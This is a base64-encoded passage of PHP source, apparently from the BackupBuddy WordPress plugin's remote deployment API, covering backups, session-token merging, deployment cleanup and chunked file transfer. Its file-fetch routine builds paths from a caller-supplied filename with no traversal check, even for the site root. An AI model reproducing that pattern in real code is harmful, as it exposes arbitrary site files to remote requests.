BkZWNvZGUgcHJvZmlsZSBkYXRhLic7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICRtZXNzYWdlLCAkYmFja3VwU2VyaWFsICk7CgkJCXNlbGY6Ol9yZXBseSggYXJyYXkoICdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAkbWVzc2FnZSApICkgOwoJCX0KCQkKCQkvLyBBcHBlbmRzIHNlc3Npb24gdG9rZW5zIGZyb20gdGhlIHB1bGxpbmcgc2l0ZSBzbyB0aGV5IHdvbnQgZ2V0IGxvZ2dlZCBvdXQgd2hlbiB0aGlzIGRhdGFiYXNlIGlzIHJlc3RvcmVkIHRoZXJlLgoJCWlmICggaXNzZXQoICRwcm9maWxlQXJyYXlbJ3Nlc3Npb25Ub2tlbnMnXSApICYmICggaXNfYXJyYXkoICRwcm9maWxlQXJyYXlbJ3Nlc3Npb25Ub2tlbnMnXSApICkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1JlbW90ZSBzZXNzaW9uIHRva2VucyBuZWVkIHVwZGF0ZWQuJywgJGJhY2t1cFNlcmlhbCApOwoJCQkvL2Vycm9yX2xvZyggJ25lZWR0b2tlbicgKTsKCQkJCgkJCWlmICggISBpc19udW1lcmljKCAkcHJvZmlsZUFycmF5WydzZXNzaW9uSUQnXSApICkgewoJCQkJJG1lc3NhZ2UgPSAnRXJyb3IgIzMyODk4OTg5My4gSW52YWxpZCBzZXNzaW9uIElELiBNdXN0IGJlIG51bWVyaWMuJzsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICRtZXNzYWdlICk7CgkJCQlzZWxmOjpfcmVwbHkoIGFycmF5KCAnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJG1lc3NhZ2UgKSApOwoJCQl9CgkJCQoJCQkvLyBHZXQgY3VycmVudCBzZXNzaW9uIHRva2Vucy4KCQkJZ2xvYmFsICR3cGRiOwoJCQkkc3FsID0gIlNFTEVDVCBtZXRhX3ZhbHVlIEZST00gYCIgLiBEQl9OQU1FIC4gImAuYCIgLiAkd3BkYi0+cHJlZml4IC4gInVzZXJtZXRhYCBXSEVSRSBgdXNlcl9pZGAgPSAnIiAuICRwcm9maWxlQXJyYXlbJ3Nlc3Npb25JRCddIC4gIicgQU5EIGBtZXRhX2tleWAgPSAnc2Vzc2lvbl90b2tlbnMnOyI7CgkJCSRyZXN1bHRzID0gJHdwZGItPmdldF92YXIoICRzcWwgKTsKCQkJJG9sZFNlc3Npb25Ub2tlbnMgPSBAdW5zZXJpYWxpemUoICRyZXN1bHRzICk7CgkJCQoJCQkvLyBBZGQgcmVtb3RlIHRva2Vucy4KCQkJaWYgKCAhIGlzX2FycmF5KCAkb2xkU2Vzc2lvblRva2VucyApICkgewoJCQkJJG9sZFNlc3Npb25Ub2tlbnMgPSBhcnJheSgpOwoJCQl9CgkJCSRuZXdTZXNzaW9uVG9rZW5zID0gYXJyYXlfbWVyZ2UoICRvbGRTZXNzaW9uVG9rZW5zLCAkcHJvZmlsZUFycmF5WydzZXNzaW9uVG9rZW5zJ10gKTsKCQkJCgkJCS8vIFJlLXNlcmlhbGl6ZS4KCQkJJG5ld1Nlc3Npb25Ub2tlbnMgPSBzZXJpYWxpemUoICRuZXdTZXNzaW9uVG9rZW5zICk7CgkJCQoJCQkvLyBTYXZlIG1lcmdlZCB0b2tlbnMgaGVyZS4KCQkJJHNxbCA9ICJVUERBVEUgYCIgLiBEQl9OQU1FIC4gImAuYCIgLiAkd3BkYi0+cHJlZml4IC4gInVzZXJtZXRhYCBTRVQgbWV0YV92YWx1ZT0gJXMgV0hFUkUgYHVzZXJfaWRgID0gJyIgLiAkcHJvZmlsZUFycmF5WydzZXNzaW9uSUQnXSAuICInIEFORCBgbWV0YV9rZXlgID0gJ3Nlc3Npb25fdG9rZW5zJzsiOwoJCQkkc3RyaW5nZWRTZXNzaW9uVG9rZW5zID0gc2VyaWFsaXplKCAkcHJvZmlsZUFycmF5WydzZXNzaW9uVG9rZW5zJ10gKTsKCQkJCgkJCWlmICggZmFsc2UgPT09ICR3cGRiLT5xdWVyeSggJHdwZGItPnByZXBhcmUoICRzcWwsICRzdHJpbmdlZFNlc3Npb25Ub2tlbnMgKSApICkgewoJCQkJJG1lc3NhZ2UgPSAnRXJyb3IgIzQzNzM0Nzg0OiBVbmFibGUgdG8gdXBkYXRlIHJlbW90ZSBzZXNzaW9uIHRva2VuLic7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAkbWVzc2FnZSwgJGJhY2t1cFNlcmlhbCApOwoJCQkJc2VsZjo6X3JlcGx5KCBhcnJheSggJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICRtZXNzYWdlICkgKTsKCQkJfQoJCQkKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnVXBkYXRlZCByZW1vdGUgc2Vzc2lvbiB0b2tlbnMuJywgJGJhY2t1cFNlcmlhbCApOwoJCX0KCQkKCQlpZiAoIHRydWUgIT09ICggJG1heWJlTWVzc2FnZSA9IGJhY2t1cGJ1ZGR5X2FwaTo6cnVuQmFja3VwKCAkcHJvZmlsZUFycmF5LCAkdHJpZ2dlclRpdGxlID0gJ2RlcGxveW1lbnRfcHVsbGluZycsICRiYWNrdXBNb2RlID0gJycsICRiYWNrdXBTZXJpYWwgKSApICkgewoJCQkkbWVzc2FnZSA9ICdFcnJvciAjNDgzOTQ4NzM6IFVuYWJsZSB0byBsYXVuY2ggYmFja3VwIGF0IHNvdXJjZS4gRGV0YWlsczogYCcgLiAkbWF5YmVNZXNzYWdlIC4gJ2AuJzsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJG1lc3NhZ2UsICRiYWNrdXBTZXJpYWwgKTsKCQkJc2VsZjo6X3JlcGx5KCBhcnJheSggJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICRtZXNzYWdlICkgKTsKCQl9IGVsc2UgewoJCQkkYXJjaGl2ZUZpbGVuYW1lID0gYmFzZW5hbWUoIGJhY2t1cGJ1ZGR5X2NvcmU6OmNhbGN1bGF0ZUFyY2hpdmVGaWxlbmFtZSggJGJhY2t1cFNlcmlhbCwgJHByb2ZpbGVBcnJheVsndHlwZSddLCAkcHJvZmlsZUFycmF5ICkgKTsKCQkJc2VsZjo6X3JlcGx5KCBhcnJheSggJ3N1Y2Nlc3MnID0+IHRydWUsICdiYWNrdXBTZXJpYWwnID0+ICRiYWNrdXBTZXJpYWwsICdiYWNrdXBGaWxlJyA9PiAkYXJjaGl2ZUZpbGVuYW1lICkgKTsKCQl9Cgl9IC8vIEVuZCBfdmVyYl9ydW5CYWNrdXAoKS4KCQoJCgkKCXByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIF92ZXJiX2dldEJhY2t1cFN0YXR1cygpIHsKCQkkYmFja3VwU2VyaWFsID0gc2VsZjo6JF9pbmNvbWluZ1BheWxvYWRbICdzZXJpYWwnIF07CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnKioqIEVuZCBSZW1vdGUgQmFja3VwIExvZyBzZWN0aW9uJywgJGJhY2t1cFNlcmlhbCApOyAvLyBQbGFjZSBhdCBlbmQgb2YgbG9nLgoJCWJhY2t1cGJ1ZGR5X2FwaTo6Z2V0QmFja3VwU3RhdHVzKCAkYmFja3VwU2VyaWFsICk7IC8vIGVjaG9zIG91dC4gVXNlICRyZXR1cm5SYXcgPSB0cnVlIGZvciByZW1vdGVfYXBpIGNhbGwgZm9yIHRoaXMgc3BlY2lhbCB2ZXJiIHRoYXQgZG9lcyBub3QgcmV0dXJuIGpzb24uCgkJCgkJLy8gRml4IG1pc3NpbmcgV1AgY3JvbiBjb25zdGFudC4KCQlpZiAoICFkZWZpbmVkKCAnV1BfQ1JPTl9MT0NLX1RJTUVPVVQnICkgKSB7CgkJCWRlZmluZSgnV1BfQ1JPTl9MT0NLX1RJTUVPVVQnLCA2MCk7ICAvLyBJbiBzZWNvbmRzCgkJfQoJCQoJCWlmICggJzEnICE9IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snc2tpcF9zcGF3bl9jcm9uX2NhbGwnXSApIHsKCQkJdXBkYXRlX29wdGlvbiggJ190cmFuc2llbnRfZG9pbmdfY3JvbicsIDAgKTsgLy8gUHJldmVudCBjcm9uLWJsb2NraW5nIGZvciBuZXh0IGl0ZW0uCgkJCXNwYXduX2Nyb24oIHRpbWUoKSArIDE1MCApOyAvLyBBZGRzID4gNjAgc2Vjb25kcyB0byBnZXQgYXJvdW5kIG9uY2UgcGVyIG1pbnV0ZSBjcm9uIHJ1bm5pbmcgbGltaXQuCgkJfQoJfSAvLyBlbmQgX3ZlcmJfZ2V0QmFja3VwU3RhdHVzKCkuCgkKCQoJCgkvKiBfdmVyYl9jb25maXJtRGVwbG95bWVudCgpCgkgKgoJICogVXNlciBjb25maXJtZWQgdGhlIGRlcGxveW1lbnQgc28gY2xlYW51cCBhbnkgcmVtYWluaW5nIHRlbXBvcmFyeSBzdHVmZiBzdWNoIGFzIHRlbXAgZGIgdGFibGVzLiBOb3RlOiBpbXBvcnRidWRkeSwgYmFja3VwIGZpbGVzLCBldGMgc2hvdWxkIGhhdmUgYWxyZWFkeSBiZWVuIGNsZWFuZWQgdXAgYnkgaW1wb3J0YnVkZHkgaXRzZWxmIGF0IHRoaXMgcG9pbnQuCgkgKgoJICovCglwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBfdmVyYl9jb25maXJtRGVwbG95bWVudCgpIHsKCQkKCQkvLyBSZW1vdmUgVGVtcCBUYWJsZXMKCQkkc2VyaWFsID0gc2VsZjo6JF9pbmNvbWluZ1BheWxvYWRbICdzZXJpYWwnIF07CgkJcmVxdWlyZV9vbmNlKCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvY2xhc3Nlcy9ob3VzZWtlZXBpbmcucGhwJyApOwoJCWJhY2t1cGJ1ZGR5X2hvdXNla2VlcGluZzo6cmVtb3ZlX3RlbXBfdGFibGVzKCAkc2VyaWFsICk7CgoJCS8vIFJlbW92ZSBpbXBvcnRidWR5IERpcmVjdG9yeQoJCWlmICggZmlsZV9leGlzdHMoIEFCU1BBVEggLiAnaW1wb3J0YnVkZHkvJyApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6JGZpbGVzeXN0ZW0tPnVubGlua19yZWN1cnNpdmUoIEFCU1BBVEggLiAnaW1wb3J0YnVkZHkvJyApOwoJCX0KCgkJLy8gUmVtb3ZlIGltcG9ydGJ1ZGR5IGZpbGVzCgkJJGltcG9ydGJ1ZGR5RmlsZXMgPSBnbG9iKCBBQlNQQVRIIC4gJ2ltcG9ydGJ1ZGR5Ki5waHAnICk7CgkJaWYgKCAhIGlzX2FycmF5KCAkaW1wb3J0YnVkZHlGaWxlcyApICkgewoJCQkkaW1wb3J0YnVkZHlGaWxlcyA9IGFycmF5KCk7CgkJfQoJCWZvcmVhY2goICRpbXBvcnRidWRkeUZpbGVzIGFzICRpbXBvcnRidWRkeUZpbGUgKSB7CgkJCXVubGluayggJGltcG9ydGJ1ZGR5RmlsZSApOwoJCX0KCQkKCQlzZWxmOjpfcmVwbHkoIGFycmF5KCAnc3VjY2VzcycgPT4gdHJ1ZSApICk7CgkJCgl9IC8vIEVuZCBfdmVyYl9jb25maXJtRGVwbG95bWVudCgpLgoJCgkKCS8vIFJlY2VpdmUgYmFja3VwIGFyY2hpdmUuCglwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBfdmVyYl9zZW5kRmlsZV9iYWNrdXAoKSB7CgkJc2VsZjo6X3NlbmRGaWxlcyggJ2JhY2t1cCcgKTsKCX0gLy8gRW5kIF92ZXJiX3NlbmRGaWxlX2JhY2t1cCgpLgoJCgkKCS8vIFJlY2VpdmUgdGhlbWUgZmlsZS4KCXByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIF92ZXJiX3NlbmRGaWxlX3RoZW1lKCkgewoJCXNlbGY6Ol9zZW5kRmlsZXMoICd0aGVtZScgKTsKCX0gLy8gRW5kIF92ZXJiX3NlbmRGaWxlX3RoZW1lKCkuCgkKCS8vIFJlY2VpdmUgY2hpbGQgdGhlbWUgZmlsZS4KCXByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIF92ZXJiX3NlbmRGaWxlX2NoaWxkVGhlbWUoKSB7CgkJc2VsZjo6X3NlbmRGaWxlcyggJ2NoaWxkVGhlbWUnICk7Cgl9IC8vIEVuZCBfdmVyYl9zZW5kRmlsZV9jaGlsZHRoZW1lKCkuCgkKCS8vIFJlY2VpdmUgcGx1Z2luIGZpbGUuCglwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBfdmVyYl9zZW5kRmlsZV9wbHVnaW4oKSB7CgkJc2VsZjo6X3NlbmRGaWxlcyggJ3BsdWdpbicgKTsKCX0gLy8gRW5kIF92ZXJiX3NlbmRGaWxlX3BsdWdpbigpLgoJCgkvLyBSZWNlaXZlIGJhY2t1cCBhcmNoaXZlLgoJcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gX3ZlcmJfc2VuZEZpbGVfbWVkaWEoKSB7CgkJc2VsZjo6X3NlbmRGaWxlcyggJ21lZGlhJyApOwoJfSAvLyBFbmQgX3ZlcmJfc2VuZEZpbGVfbWVkaWEoKS4KCQoJLy8gUmVjZWl2ZSBhZGRpdGlvbmFsIGV4dHJhIGluY2x1c2lvbi4KCXByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIF92ZXJiX3NlbmRGaWxlX2V4dHJhKCkgewoJCXNlbGY6Ol9zZW5kRmlsZXMoICdleHRyYScgKTsKCX0gLy8gRW5kIF92ZXJiX3NlbmRGaWxlX2V4dHJhKCkuCgkKCS8vIFRlc3RpbmcgZmlsZSBzZW5kIGFiaWxpdHkuIEZpbGUgaXMgdHJhbnNpZW50OyBzdG9yZWQgaW4gdGVtcCBkaXIgbW9tZW50YXJpbHkuCglwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBfdmVyYl9zZW5kRmlsZV90ZXN0KCkgewoJCXNlbGY6Ol9zZW5kRmlsZXMoICd0ZXN0JyApOwoJfSAvLyBFbmQgX3ZlcmJfc2VuZEZpbGVfdGVzdCgpLgoJCgkKCQoJLy8gR2V0IGJhY2t1cCBhcmNoaXZlLgoJcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gX3ZlcmJfZ2V0RmlsZV9iYWNrdXAoKSB7CgkJc2VsZjo6X2dldEZpbGUoICdiYWNrdXAnICk7Cgl9IC8vIEVuZCBfdmVyYl9nZXRGaWxlX2JhY2t1cCgpLgoJCgkvLyBHZXQgdGhlbWUgZmlsZS4KCXByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIF92ZXJiX2dldEZpbGVfdGhlbWUoKSB7CgkJc2VsZjo6X2dldEZpbGUoICd0aGVtZScgKTsKCX0gLy8gRW5kIF92ZXJiX2dldEZpbGVfdGhlbWUoKS4KCQoJLy8gR2V0IGNoaWxkIHRoZW1lIGZpbGUuCglwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBfdmVyYl9nZXRGaWxlX2NoaWxkVGhlbWUoKSB7CgkJc2VsZjo6X2dldEZpbGUoICdjaGlsZFRoZW1lJyApOwoJfSAvLyBFbmQgX3ZlcmJfZ2V0RmlsZV9jaGlsZFRlbWUoKS4KCQoJLy8gR2V0IHBsdWdpbiBmaWxlLgoJcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gX3ZlcmJfZ2V0RmlsZV9wbHVnaW4oKSB7CgkJc2VsZjo6X2dldEZpbGUoICdwbHVnaW4nICk7Cgl9IC8vIEVuZCBfdmVyYl9nZXRGaWxlX3BsdWdpbigpLgoJCgkvLyBHZXQgbWVkaWEgZmlsZS4KCXByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIF92ZXJiX2dldEZpbGVfbWVkaWEoKSB7CgkJc2VsZjo6X2dldEZpbGUoICdtZWRpYScgKTsKCX0gLy8gRW5kIF92ZXJiX2dldEZpbGVfbWVkaWEoKS4KCQoJLy8gR2V0IGFkZGl0aW9uYWwgZXh0cmEgaW5jbHVzaW9uLgoJcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gX3ZlcmJfZ2V0RmlsZV9leHRyYSgpIHsKCQlzZWxmOjpfZ2V0RmlsZSggJ2V4dHJhJyApOwoJfSAvLyBFbmQgX3ZlcmJfZ2V0RmlsZV9leHRyYSgpLgoJCgkKCQoJLyogX2dldEZpbGVQYXRoQnlUeXBlKCkKCSAqCgkgKiBDYWxjdWxhdGVzIHJvb3QgZGlyZWN0b3J5IHRvIHN0b3JlIHRoZSBzcGVjaWZpZWQgdHlwZSBpbi4gQ29udGFpbnMgdHJhaWxpbmcgc2xhc2guIERpZXMgaWYgdW5rbm93biBmaWxlIHR5cGUgc3BlY2lmaWVkIGluIHBhcmFtcy4KCSAqCgkgKiBAcGFyYW0Jc3RyaW5nCQkkdHlwZQkJRmlsZSB0eXBlL2xvY2F0aW9uIG5hbWUgdG8gc3RvcmUgaW4uIFZhbGlkIHZhbHVlczogYmFja3VwLCBtZWRpYSwgcGx1Z2luLCB0aGVtZS4KCSAqCgkgKi8KCXByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIF9nZXRGaWxlUGF0aEJ5VHlwZSggJHR5cGUgKSB7CgkJaWYgKCAnYmFja3VwJyA9PSAkdHlwZSApIHsKCQkJJHJvb3REaXIgPSBiYWNrdXBidWRkeV9jb3JlOjpnZXRCYWNrdXBEaXJlY3RvcnkoKTsgLy8gSW5jbHVkZSB0cmFpbGluZyBzbGFzaC4KCQkJcGJfYmFja3VwYnVkZHk6OmFudGlfZGlyZWN0b3J5X2Jyb3dzaW5nKCAkcm9vdERpciwgJGRpZSA9IGZhbHNlICk7CgkJfSBlbHNlaWYgKCAnbWVkaWEnID09ICR0eXBlICkgewoJCQkkd3BfdXBsb2FkX2RpciA9IHdwX3VwbG9hZF9kaXIoKTsKCQkJJHJvb3REaXIgPSAkd3BfdXBsb2FkX2RpclsnYmFzZWRpciddIC4gJy8nOwoJCQl1bnNldCggJHdwX3VwbG9hZF9kaXIgKTsKCQl9IGVsc2VpZiAoICdwbHVnaW4nID09ICR0eXBlICkgewoJCQkkcm9vdERpciA9IHdwX25vcm1hbGl6ZV9wYXRoKCBXUF9QTFVHSU5fRElSICkgLiAnLyc7CgkJfSBlbHNlaWYgKCAndGhlbWUnID09ICR0eXBlICkgewoJCQkkcm9vdERpciA9IGdldF90ZW1wbGF0ZV9kaXJlY3RvcnkoKSAuICcvJzsKCQl9IGVsc2VpZiAoICdjaGlsZFRoZW1lJyA9PSAkdHlwZSApIHsKCQkJJHJvb3REaXIgPSBnZXRfc3R5bGVzaGVldF9kaXJlY3RvcnkoKSAuICcvJzsKCQl9IGVsc2VpZiggJ3Rlc3QnID09ICR0eXBlICkgewoJCQkkcm9vdERpciA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldFRlbXBEaXJlY3RvcnkoKTsKCQl9IGVsc2VpZiggJ2V4dHJhJyA9PSAkdHlwZSApIHsKCQkJJHJvb3REaXIgPSBBQlNQQVRIOyAvLyBpbmNsdWRlcyB0cmFpbGluZyBzbGFzaC4KCQl9IGVsc2UgewoJCQkkZXJyb3IgPSAnRXJyb3IgIzg0OTM0OTg0LiBZb3UgbXVzdCBzcGVjaWZ5IGEgc2VuZGZpbGUgdHlwZTogVW5rbm93biBmaWxlIHR5cGUgYCcgLiBodG1sZW50aXRpZXMoICR0eXBlICkgLiAnYC4nOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAkZXJyb3IgKTsKCQkJZXJyb3JfbG9nKCAnQmFja3VwQnVkZHkgQVBJIGVycm9yOiAnIC4gJGVycm9yICk7CgkJCXNlbGY6Ol9yZXBseSggYXJyYXkoICdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAkbWVzc2FnZSApICk7CgkJfQoJCS8vZXJyb3JfbG9nKCAncm9vdERpcjogJyAuICRyb290RGlyICk7CgkJcmV0dXJuICRyb290RGlyOwoJfSAvLyBFbmQgX2dldEZpbGVQYXRoQnlUeXBlKCkuCgkKCQoJLyogX2dldEZpbGUoKQoJICoKCSAqIENhbGxpbmcgc2l0ZSBpcyB3YW50aW5nIHRvIGdldCBhIGZpbGUgRlJPTSB0aGlzIHNpdGUuCgkgKgoJICovCglwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBfZ2V0RmlsZSggJHR5cGUgKSB7CgkJJHJvb3REaXIgPSBzZWxmOjpfZ2V0RmlsZVBhdGhCeVR5cGUoICR0eXBlICk7IC8vIGNvbnRhaW5zIHRyYWlsaW5nIHNsYXNoLgoJCSRmaWxlUGF0aCA9IHN0cmlwc2xhc2hlc19kZWVwKCBzZWxmOjokX2luY29taW5nUGF5bG9hZFsgJ2ZpbGVuYW1lJyBdICk7CgkJJGZ1bGxGaWxlbmFtZSA9ICRyb290RGlyIC4gJGZpbGVQYXRoOwoJCQoJCSRzZWVrVG8gPSBzZWxmOjokX2luY29taW5nUGF5bG9hZFsgJ3NlZWt0bycgXTsKCQlpZiAoICEgaXNfbnVtZXJpYyggJHNlZWtUbyApICkgewoJCQkkc2Vla1RvID0gMDsKCQl9CgkJCgkJJG1heFBheWxvYWQgPSBzZWxmOjokX2luY29taW5nUGF5bG9hZFsgJ21heFBheWxvYWQnIF07IC8vIE1heCBwYXlsb2FkIGluIGJ5dGVzLgoJCSRtYXhQYXlsb2FkQnl0ZXMgPSAkbWF4UGF5bG9hZCAqIDEwMjQgKiAxMDI0OwoJCQoJCS8vIEZpbGUgZXhpc3Q/IChub3RlOiBpZiB1dGY4IHRoZW4gdGhpcyBmaXJzdCBjaGVjayB3aWxsIGZhaWwgYW5kIGluc2lkZSB3ZSB3aWxsIGNoZWNrIGZvciB0aGUgZmlsZSBhZnRlciB1dGY4IGRlY29kaW5nLikKCQlpZiAoICEgZmlsZV9leGlzdHMoICRmdWxsRmlsZW5hbWUgKSApIHsKCQkJLy8gQ2hlY2sgaWYgdXRmOCBkZWNvZGluZyB0aGUgZmlsZW5hbWUgaGVscHMgdXMgZmluZCBpdC4KCQkJJHV0Zl9kZWNvZGVkX2ZpbGVuYW1lID0gdXRmOF9kZWNvZGUoICRmaWxlUGF0aCApOwoJCQlpZiAoIGZpbGVfZXhpc3RzKCAkcm9vdERpciAuICR1dGZfZGVjb2RlZF9maWxlbmFtZSApICkgewoJCQkJJGZ1bGxGaWxlbmFtZSA9ICRyb290RGlyIC4gJHV0Zl9kZWNvZGVkX2ZpbGVuYW1lOwoJCQl9IGVsc2UgewoJCQkJJG1lc3NhZ2UgPSAnRXJyb3IgIzgzOTI5ODM4OiBSZXF1ZXN0ZWQgYCcgLiAkdHlwZSAuICdgIGZpbGUgd2l0aCBmdWxsIHBhdGggYCcgLiAkZnVsbEZpbGVuYW1lIC4gJ2AgZG9lcyBub3QgZXhpc3QuIFdhcyBpdCBqdXN0IGRlbGV0ZWQ/IFNlZSBsb2cgZm9yIGRldGFpbHMuJzsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICRtZXNzYWdlICk7CgkJCQlzZWxmOjpfcmVwbHkoIGFycmF5KCAnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJG1lc3NhZ2UgKSApOwoJCQl9CgkJfQoJCQoJCSRzaXplID0gZmlsZXNpemUoICRmdWxsRmlsZW5hbWUgKTsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGaWxlIHNpemUgb2YgZmlsZSB0byBnZXQ6ICcgLiBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+ZmlsZV9zaXplKCAkc2l6ZSApICk7CgkJCgkJaWYgKCAkc2l6ZSA+ICRtYXhQYXlsb2FkQnl0ZXMgKSB7CgkJCSRjaHVua3NUb3RhbCA9IGNlaWwoICRzaXplIC8gJG1heFBheWxvYWRCeXRlcyApOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdUaGlzIGZpbGUgKyBlbmNvZGluZyBleGNlZWRzIHRoZSBtYXhpbXVtIHBlci1jaHVuayBwYXlsb2FkIHNpemUgc28gd2lsbCBiZSByZWFkIGluIGFuZCBzZW50IGluIGNodW5rcyBvZiAnIC4gc2VsZjo6JF9pbmNvbWluZ1BheWxvYWRbICdtYXhQYXlsb2FkJyBdIC4gJ01CICgnIC4gJG1heFBheWxvYWRCeXRlcyAuICcgYnl0ZXMpIHRvdGFsaW5nIGFwcHJveGltYXRlbHkgJyAuICRjaHVua3NUb3RhbCAuICcgY2h1bmtzLicgKTsKCQl9IGVsc2UgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdUaGlzIGZpbGUgKyBlbmNvZGluZyBkb2VzIG5vdCBleGNlZWQgcGVyLWNodW5rIHBheWxvYWQgc2l6ZSBvZiAnIC4gc2VsZjo6JF9pbmNvbWluZ1BheWxvYWRbICdtYXhQYXlsb2FkJyBdIC4gJ01CICgnIC4gcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPmZpbGVfc2l6ZSggJG1heFBheWxvYWRCeXRlcyApIC4gJykgc28gc2VuZGluZyBpbiBvbmUgcGFzcy4nICk7CgkJfQoJCSRwcmV2UG9pbnRlciA9IDA7CgkJCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUmVhZGluZyBpbiBgJyAuICRtYXhQYXlsb2FkQnl0ZXMgLiAnYCBieXRlcyBhdCBhIHRpbWUuJyApOwoJCQoJCS8vIE9wZW4gZm9yIHJlYWRpbmcuCgkJaWYgKCBmYWxzZSA9PT0gKCAkZnMgPSBmb3BlbiggJGZ1bGxGaWxlbmFtZSwgJ3JiJyApICkpIHsKCQkJJG1lc3NhZ2UgPSAnRXJyb3IgIzIzNTUzMjogVW5hYmxlIHRvIGZvcGVuIGZpbGUgYCcgLiAkZnVsbEZpbGVuYW1lIC4gJ2AuJzsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJG1lc3NhZ2UgKTsKCQkJc2VsZjo6X3JlcGx5KCBhcnJheSggJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICRtZXNzYWdlICkgKTsKCQl9CgkJCgkJLy8gU2VlayB0byBwb3NpdGlvbiAoaWYgYXBwbGljYWJsZSkuCgkJaWYgKCAwICE9ICRzZWVrVG8gKSB7CgkJCWlmICggMCAhPSBmc2VlayggJGZzLCAkc2Vla1RvICkgKSB7CgkJCQlAZmNsb3NlKCAkZnMgKTsKCQkJCSRtZXNzYWdlID0gJ0Vycm9yICM2NDY0NTM0MjI5OiBVbmFibGUgdG8gZnNlZWsgZmlsZS4nOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJG1lc3NhZ2UgKTsKCQkJCXNlbGY6Ol9yZXBseSggYXJyYXkoICdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAkbWVzc2FnZSApICk7CgkJCX0KCQl9CgkJCgkJJHJlc3VtZVBvaW50ID0gMDsKCQkkZmlsZURvbmUgPSBmYWxzZTsKCQkkZmlsZURhdGEgPSBmcmVhZCggJGZzLCAkbWF4UGF5bG9hZEJ5dGVzICk7CgkJaWYgKCBmZW9mKCAkZnMgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUmVhZCB0byBlbmQgb2YgZmlsZSAoZmVvZiB0cnVlKS4gTm8gbW9yZSBjaHVua3MgbGVmdCBhZnRlciB0aGlzLicgKTsKCQkJJGZpbGVEb25lID0gdHJ1ZTsKCQl9IGVsc2UgewoJCQlpZiAoIEZBTFNFID09PSAoICRyZXN1bWVQb2ludCA9IGZ0ZWxsKCAkZnMgKSApICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0Vycm9yICM0MjM1MzIxMjogVW5hYmxlIHRvIGdldCBmdGVsbCBwb2ludGVyIG9mIGZpbGUgaGFuZGxlLicgKTsKCQkJCUBmY2xvc2UoICRmcyApOwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9IGVsc2UgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRmlsZSBwb2ludGVyIHJlc3VtZSBwb2ludDogYCcgLiAkcmVzdW1lUG9pbnQgLiAnYC4nICk7CgkJCX0KCQl9CgkJQGZjbG9zZSggJGZzICk7CgkJCgkJLy8gVE9ETzogSW4gZnV0dXJlIHBlcmhhcHMgcGFzcyBkYXRhIGFzIHRoZSBodHRwIHJlc3BvbnNlIGJvZHkgYW5kIHRoZXNlIGl0ZW1zIGluIGEgaHR0cCBoZWFkZXIgdG8gcHJldmVudCBwb3NzaWJsZSBjb3JydXB0aW9uIGluIHRoZSBzZXJpYWxpemVkIGRhdGEuCgkJJGZpbGUgPSBhcnJheSgKCQkJJ3N1Y2Nlc3MnICAgICAgPT4gdHJ1ZSwKCQkJJ2RhdGFsZW4nICAgICAgPT4gc3RybGVuKCAkZmlsZURhdGEgKSwKCQkJJ2RvbmUnICAgICAgICAgPT4gJGZpbGVEb25lLAoJCQk